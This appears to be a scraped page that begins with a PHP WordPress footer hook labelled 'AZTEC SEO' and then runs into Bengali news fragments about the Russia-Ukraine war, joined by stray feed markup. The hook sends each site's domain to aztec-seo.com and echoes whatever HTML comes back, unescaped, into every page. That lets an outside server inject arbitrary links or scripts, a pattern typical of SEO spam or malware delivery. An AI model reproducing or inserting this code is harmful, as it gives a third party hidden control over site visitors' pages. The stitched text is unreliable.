/* AZTEC SEO */
add_action('wp_footer', function () {
$domain = wp_parse_url(home_url(), PHP_URL_HOST);
if (!$domain) return;
$ck = 'aztec_footer_' . md5($domain);
$html = get_transient($ck);
if ($html === false) {
$url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer');
$res = wp_remote_get($url, array('timeout' => 8));
$html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : '';
set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS);
}
if ($html !== '') echo $html;
}, 99);
সের্গেই ভারশিনিন বলেন, ‘যে কোনো শত্রুতা আলোচনার মাধ্যমে শেষ হয়। যেমন আমরা আগে বলেছি— আমরা এ ধরনের আলোচনার জন্য প্রস্তুত থাকব। তবে সেগুলো যদি কোনো পূর্বশর্ত ছাড়াই আলোচনা হয়, যে আলোচনা বিদ্যমান বাস্তবতার ওপর ভিত্তি করে।
তিনি বলেন, শান্তি আলোচনার বিষয় কিয়েভ নয়, মস্কোর সঙ্গে আলোচনার বিষয়ে সিদ্ধান্ত নেয় ওয়াশিংটন ও ব্রাসেলস। এর আগেও আলোচনা হয়েছে, মিনস্ক এবং ইস্তানবুলের কথা মনে আছে, সেগুলো ইউক্রেনের কারণে ভেঙে গিয়েছিল। তবে আপনি ভালোভাবে জানেন, সিদ্ধান্তগুলো কিয়েভে নয়, সিদ্ধান্ত নেওয়া হচ্ছে অন্যান্য রাজধানী থেকে। প্রাথমিকভাবে ওয়াশিংটন ও ব্রাসেলসে।
বর্তমান মার্কিন প্রেসিডেন্ট জো বাইডেনের অধীনে এ ধরনের আলোচনা হতে পারে কিনা মন্তব্য করে ভার্শিনিন বলেন, ‘এটা আমাদের ওপর নির্ভর করে না। আমরা আমাদের অবস্থান পরিষ্কার করেছি এবং শুধু বাইডেন যদি যথেষ্ট সতর্ক ও বুদ্ধির সঙ্গে কাজ করতেন, তবে তিনি এমনটা করতেন না।
]]>জেলেনস্কি শুক্রবার রাজধানী কিয়েভে ফিরে বলেন, বৃহস্পতিবার ব্রাসেলসে ইউরোপীয় নেতারা আমাকে আশ্বস্ত করেছেন— ইউক্রেনের বিমানবাহিনীকে শক্তিশালী করতে তারা অত্যাধুনিক যুদ্ধবিমান দেবেন।
ইউক্রেনে বিশেষ সেনা অভিযানের বর্ষপূর্তি হতে যাচ্ছে আগামী ২৪ ফেব্রুয়ারি। এ কারণে সম্প্রতি ইউক্রেনে হামলা আরও জোরদার করতে পারে রাশিয়া।
ইউক্রেনের পূর্বাঞ্চলীয় প্রদেশ দোনেৎস্কের গভর্নর পাভলো ক্রিলেংকো বৃহস্পতিবার এক টিভি সাক্ষাৎকারে বলেছেন, যে কোনো সময় রাশিয়া এ অঞ্চলটির দখল নিতে আবারও ভয়াবহ হামলা শুরু করতে পারে। গত ১০ দিন ধরে রুশ বাহিনী বিমান হামলা জোরদার করেছে। লুহানস্ক অঞ্চলেও ক্ষেপণাস্ত্র হামলা বৃদ্ধি করেছে রাশিয়া।
]]>যুক্তরাষ্ট্র ও জার্মানির পক্ষ থেকে ইউক্রেনকে ট্যাংক দেওয়ার ঘোষণার পর রাশিয়া আরও মারমুখী হয়ে উঠেছে। আর এর পরই এ ধরনের ক্ষেপণাস্ত্র হামলা শুরু করেছে রুশ বাহিনী। ইউক্রেনের জরুরি বিভাগ জানায়, এসব হামলায় আরও ১১ জন আহত হয়েছেন। এর মধ্যে রাজধানী কিয়েভে ক্ষেপণাস্ত্রের টুকরার আঘাতে ৫৫ বছর বয়সি একজনের মৃত্যু হয়েছে। দেশটির আকাশ প্রতিরক্ষাব্যবস্থা ওই ক্ষেপণাস্ত্র ধ্বংস করেছিল।
গতকাল একদিনে কিয়েভ, বাখমুতসহ ইউক্রেনের বিভিন্ন শহরে রাশিয়া ৫৫টি ক্ষেপণাস্ত্র ছুড়েছে বলে জানিয়েছে ইউক্রেনের সেনাবাহিনী। এর মধ্যে ৪৭টি ক্ষেপণাস্ত্র ধ্বংস করার দাবি করেছে তারা। এ ছাড়া ওডেসায় বিদ্যুৎ অবকাঠামোর ওপর হামলার ঘটনাও ঘটেছে।
]]>এসভিআর পরিচালক সেরগেই নারিশকিন বলেছেন, হিমার্স ও অত্যাধুনিক আকাশ প্রতিরক্ষাব্যবস্থাসহ গুরুত্বপূর্ণ সমরাস্ত্রগুলো ইউক্রেন তার পারমাণবিক কেন্দ্রের কাছে মজুত রাখছে। তিনি বলেন, ইউক্রেন মনে করছে পারমাণবিক কেন্দ্রে রাশিয়া হামলা চালাবে না। এ জন্য নিরাপদ স্থান মনে করে ভয়ঙ্কর সব অস্ত্র পারমাণবিক কেন্দ্রের কাছে মজুত করছে ইউক্রেন।
এসভিআর পরিচালক সেরগেই নারিশকিন বলেন, রিভনি পারমাণবিক কেন্দ্রের কাছে রাফালিভকা রেলস্টেশনের কাছে ২০২২ সালের ডিসেম্বরের শেষ সপ্তাহে কার্গো ট্রেনের বগিতে করে এসব সমরাস্ত্র রাখা হয়েছে।
রাশিয়ার অধিকৃত দোনবাস অঞ্চলের বেসামরিক লোকজনের ওপর হামলা চালাতে এসব অস্ত্র ওই রেলস্টেশনের কাছে মজুত রাখা হয়েছে দাবি করে তিনি আরও বলেন, জাপোরঝিয়ায়ও একই কাজ করেছে ইউক্রেন। জাতিসংঘকে বুঝিয়েছে রাশিয়া সেখানে হামলা করলে বিপর্যয় ঘটবে। অন্যদিকে তারা এ সুযোগে অস্ত্রের গুদাম বানিয়েছে।
]]>এমন দৃশ্য দেখে ইউক্রেনীয়রা বারান্দা থেকে জয়ধ্বনি দেন। বিমান হামলার সাইরেন বেজে উঠলে কেউ কেউ চিৎকার করে বলেন, ইউক্রেনের বিজয়। দেশটির প্রেসিডেন্ট ভলোদিমির জেলেনস্কি রোববার রাতে বলেছেন, ইরানের তৈরি ৪৫টি শাহেদ ড্রোন ধ্বংস করেছেন আমাদের সেনারা। এসব ড্রোন ইউক্রেনে হামলার জন্য ব্যবহার করছে রুশ বাহিনী।
তিনি আরও বলেন, ড্রোন, মিসাইল কোনো কিছুই রুশ বাহিনীকে এ যুদ্ধে খুব একটা সাহায্য করবে না। কারণ আমরা ইউক্রেনীয়রা ঐক্যবদ্ধ। কিয়েভের গভর্নর ওলেক্সি কুলেবা বলেন, রাজধানী ও অঞ্চলটিতে রাতে ড্রোন হামলা চালাচ্ছে রাশিয়া। গুরুত্বপূর্ণ অবকাঠামো লক্ষ্যবস্তু করে রুশ বাহিনী ইরানের তৈরি শাহেদ ড্রোন দিয়ে হামলা চালায়।
উল্লেখ্য যে, গত বছরের ২৪ ফেব্রুয়ারি থেকে পুতিনের নির্দেশে ইউক্রেনে বিশেষ সামরিক অভিযান শুরু করে রুশ বাহিনী।
]]>